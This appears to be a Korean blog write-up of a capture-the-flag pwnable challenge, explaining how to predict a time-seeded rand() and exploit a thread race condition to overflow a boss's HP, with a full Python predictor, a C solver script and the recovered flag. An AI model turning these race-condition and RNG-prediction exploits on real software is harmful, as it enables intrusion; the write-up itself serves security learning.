<프로그램 실행 화면>
스킬을 사용하여 각 레벨의 보스를 죽이는 프로그램이다.
<0x40184C - level_clear>
<0x4018D4 - game_clear>
4 레벨을 클리어하면 flag를 얻을 수 있다.
<0x4019A4 - boss_attack>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import sys def defense(v1) : t1 = (v1 >> 32) & 0xFFFFFFFF t2 = t1 >> 30 t3 = v1 & 0xff v2 = ((t2 + t3) & 3) - t2 v = 0 if v2 == 1 : v = 3 elif v2 == 2 : v = 2 else : v = 1 v_str = "{0}".format(v) print(v_str) defense(int(sys.argv[1])) | cs |
<매개변수로 넘겨진 rand() 값을 토대로 보스의 공격을 예측하는 파이썬 코드>
스킬을 사용하면 보스 또한 공격 하게 되는데 3개의 선택지 중 하나를 선택하여 공격을 막을 수 있다. 보스의 공격 값은 rand() 값을 기반으로 정해지게 되는데, rand()의 seed를 time() 값으로 설정하기 때문에 같은 시간에 seed를 설정하면 보스의 공격 값을 미리 알 수 있다.
<main>
<level 4 보스의 체력>
attack으로 총 82번 '2. Use skill'을 하면 level 4가 되는데, level 4 보스의 체력은 0x7FFFFFFFFFFFFFFE가 된다. 메뉴 실행 횟수가 250미만으로 제한되어 있고 제한된 횟수안에 저 체력을 다 깎을만한 damage의 skill도 없으므로 체력을 깎아서 죽일 수는 없고, 보스의 체력을 2만큼 올려 오버플로우를 일으켜야 한다.
<0x401580 - use_skill>
use_skill() 함수를 보면 스킬의 index가 4이하일 때, damage의 음수값 검사는 64bit로 진행하지만 공격 연산(hp -= damage)은 32bit로 진행하게 된다. 문제점은 index가 4이하인 스킬로는 damage를 음수로 만들 수가 없다는 것이다.
<main>
<0x40117C - skill_damage>
<0x400F46 - skill_damage_icesword>
use_skill() 함수는 thread로 실행되는데, fireball과 icesword의 경우 damage 값 연산 함수(skill_damage)에서 sleep(1)을 한다. damage 변수는 공유되기 때문에, 위 sleep(1)을 이용하여 fireball - use_skill()에서 icesword의 damage 값(0xFFFFFFFF)으로 공격하면 된다.
주의해야 할 점은 fireball - use_skill()에서 byte_603380의 값을 1로 만들었을 때, icesword - use_skill()이 다시 진행돼야 한다는 것이다. 이렇게 해서 "You are already using ~" 문자열이 출력되면, 보스의 hp에서 0xFFFFFFFF가 빼지는걸 막을 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> void change(FILE *fp, int value); void defense(FILE *fp); void attack(FILE *fp); void final(FILE *fp); void main() { FILE *fp = NULL; int i; srand((unsigned)time(NULL)); if ((fp = popen("/home/hunting/hunting", "w")) == NULL) { printf("error - popen\n"); return ; } for (i = 0; i < 82; i++) attack(fp); for (i = 0; i < 2; i++) final(fp); pclose(fp); } void change(FILE *fp, int value) { fprintf(fp, "3\n%d\n", value); fflush(fp); } void defense(FILE *fp) { FILE *py_fp = NULL; char buffer[100]; int select; sprintf(buffer, "python /tmp/hy/defense.py %d", rand()); if ((py_fp = popen(buffer, "r")) == NULL) { printf("error - popen2\n"); return ; } fscanf(py_fp, "%d", &select); pclose(py_fp); fprintf(fp, "%d\n", select); fflush(fp); } void attack(FILE *fp) { fprintf(fp, "2\n"); fflush(fp); defense(fp); } void final(FILE *fp) { change(fp, 2); fprintf(fp, "2\n"); fflush(fp); rand(); defense(fp); change(fp, 7); fprintf(fp, "2\n"); fflush(fp); sleep(1); rand(); defense(fp); } | cs |
<문제 풀이에 사용된 C 코드>
<풀이 결과>
python - pwn을 이용해서 원격으로 접속하니 명령 전달에 딜레이가 걸려 제때에 thread가 생성이 안되는 문제가 있었다. 서버에서 로컬로 문제를 풀어야 했는데 서버에는 pwn이 설치되어있지 않아서, c언어로 코딩한 다음 문제를 풀었다.
s1mp13_rac3_c0nd1t1n_gam3_
'Hack > 포너블' 카테고리의 다른 글
[Codegate 2016] watermelon (3) | 2017.02.23 |
---|---|
[Linux] %?$p 와 64bit 프로그램 매개변수 순서 (0) | 2017.02.21 |
[Codegate 2016] serial (0) | 2017.02.20 |
[Linux] ps | grep & socat & checksec.sh (0) | 2017.02.19 |
[포너블] pwn1 (0) | 2017.02.15 |